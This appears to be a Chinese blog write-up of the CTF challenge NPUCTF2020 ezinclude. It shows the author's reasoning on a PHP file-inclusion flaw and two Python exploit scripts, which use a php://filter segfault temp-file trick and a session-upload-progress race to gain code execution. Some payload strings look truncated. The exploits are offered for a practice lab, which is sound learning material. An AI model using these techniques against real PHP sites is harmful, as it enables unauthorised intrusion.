• [NPUCTF2020]ezinclude 文件包含两大 getshell方式


    PHP LFI 利用临时文件 Getshell 姿势 | 码农家园

    说一下我的思路吧

    robots没有

    扫描发现存在 dir.php

    然后404.html 报错

    apache 2.18 ubuntu

    这个又正好存在漏洞 所以前面全去看这个了

    结果根本不是这样做。。。

    正确的思路是这样

    发现变量 认为是 name和 pass传递参数

    或者通过爆破 但是太慢了

    我们可以抓包测试

    发现了 hash  因为提示我们MD5 所以我们需要注意

    然后我们传递一个 ?name=2

    发现hash变了 这里我们就多半能确定 cookie是我们的pass

    因为 name改变 cookie也改变 然后都是hash值

    所以我们pass=hash一下看看

    GET /?name=2&pass=616bcf60c47829c8e770b19fd45336d9 HTTP/1.

    我们去访问看看

    这里全程只能 bp抓包

    不然会跳转 404

    发现 include了 文件包含 我们去看看 用伪协议读取一下文件吧

    首先是 404.html 一点用都没有。。。

    我们看看 dir.php

    1. var_dump(scandir('/tmp'));
    2. ?>

    我们看看index

    1. include 'config.php';
    2. @$name=$_GET['name'];
    3. @$pass=$_GET['pass'];
    4. if(md5($secret.$name)===$pass){
    5. echo '
    6. ';
    7. }else{
    8. setcookie("Hash",md5($secret.$name),time()+3600000);
    9. echo "username/password error";
    10. }
    11. ?>

    okok 做到这里 一点思路都没得了 只有 dir.php存在输出 多半是通过 dir.php输出内容 那我要怎么实现啊。。。。。

    看wp吧

    学到了学到了

    PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

    这里是我学习到的知识点

    我们开始

    1. php7 Segment Fault

    我们首先抓包的时候可以可以发现

    存在 php 7 这里存在一个漏洞

    如果用 过滤器  string.strip_args 的时候 选择一个文件

    并且我们可以通过fuzz或者dir.php查找

    exp

    1. #python 2.7
    2. import requests
    3. from io import BytesIO
    4. url1 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=dir.php"
    5. files = {'file': BytesIO('')}
    6. re = requests.post(url=url1, files=files, allow_redirects=False)
    7. url2 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/dir.php"
    8. re2 = requests.get(url=url2)
    9. print
    10. re2.text

    但是很奇怪 我根本在web中无法实现 所以我用蚁剑链接

    但是奇了怪了 无法执行命令 啥都没有 可能被disable_function 了

    我们用插件bypass

    错的 看wp才知道是在phpinfo中

    正好也有插件可以查看phpinfo

    获取flag

    2.session get shell

    这里不知道有没有开启session 但是文件包含题目 可以试试看

    exp

    1. import io
    2. import sys
    3. import requests
    4. import threading
    5. sessid = 'shell'
    6. def POST(session):
    7. while True:
    8. f = io.BytesIO(b'a' * 1024 * 50)
    9. session.post(
    10. 'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/',
    11. data={
    12. "PHP_SESSION_UPLOAD_PROGRESS": "');?>"},
    13. files={"file": ('q.txt', f)},
    14. cookies={'PHPSESSID': sessid}
    15. )
    16. def READ(session):
    17. while True:
    18. response = session.get(
    19. f'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=../../../../../../../../tmp/sess_{sessid}')
    20. # print('[+++]retry')
    21. # print(response.text)
    22. if 'flag' not in response.text:
    23. print('[+++]retry')
    24. else:
    25. print(response.text)
    26. sys.exit(0)
    27. with requests.session() as session:
    28. t1 = threading.Thread(target=POST, args=(session,))
    29. t1.daemon = True
    30. t1.start()
    31. READ(session)

    一直跑就出来了 因为返回了phpinfo

    里面存在flag

  • 相关阅读:
    dial tcp 192.168.0.190:443: connect: connection refused
    9月19日作业
    新手开抖店——一定忽略的“发货”问题,违规必扣保证金!
    查看进程与对应的线程
    【XSY4378】vanity(生成函数,拉格朗日反演)
    Rabbitmq 常见问题处理
    MySQL数据库 面试题 补充
    【C++】关联式容器-map和set
    SpringBoot集成Spring Security——【认证流程】
    地球人口承载力估计(c++基础)
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133755290